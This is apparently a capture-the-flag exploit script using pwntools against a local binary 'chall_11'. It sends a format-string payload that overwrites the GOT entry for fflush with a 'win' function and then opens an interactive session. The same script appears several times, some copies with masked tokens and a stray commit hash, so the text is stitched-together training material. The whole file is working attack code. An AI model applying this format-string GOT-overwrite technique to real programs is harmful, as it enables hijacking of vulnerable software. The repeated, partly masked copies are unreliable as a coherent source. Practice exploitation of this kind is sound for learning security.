from pwn import *
p=process("./chall_11")
p.sendline("hi")
elf=ELF("./chall_11")
target = elf.got.fflush
elf.sym.win

payload=fmtstr_payload(6, {target: elf.sym.win},write_size='short')

p.sendline(payload)
p.interactive()

c63b3efe74e096969dbfca5a098959d33b32abca
<mask token>

<mask token>
p.sendline('hi')
<mask token>
elf.sym.win
<mask token>
p.sendline(payload)
p.interactive()

<mask token>
p = process('./chall_11')
p.sendline('hi')
elf = ELF('./chall_11')
target = elf.got.fflush
elf.sym.win
payload = fmtstr_payload(6, {target: elf.sym.win}, write_size='short')
p.sendline(payload)
p.interactive()

from pwn import *
p = process('./chall_11')
p.sendline('hi')
elf = ELF('./chall_11')
target = elf.got.fflush
elf.sym.win
payload = fmtstr_payload(6, {target: elf.sym.win}, write_size='short')
p.sendline(payload)
p.interactive()

from pwn import *
p=process("./chall_11")
p.sendline("hi")
elf=ELF("./chall_11")
target = elf.got.fflush
elf.sym.win

payload=fmtstr_payload(6, {target: elf.sym.win},write_size='short')

p.sendline(payload)
p.interactive()
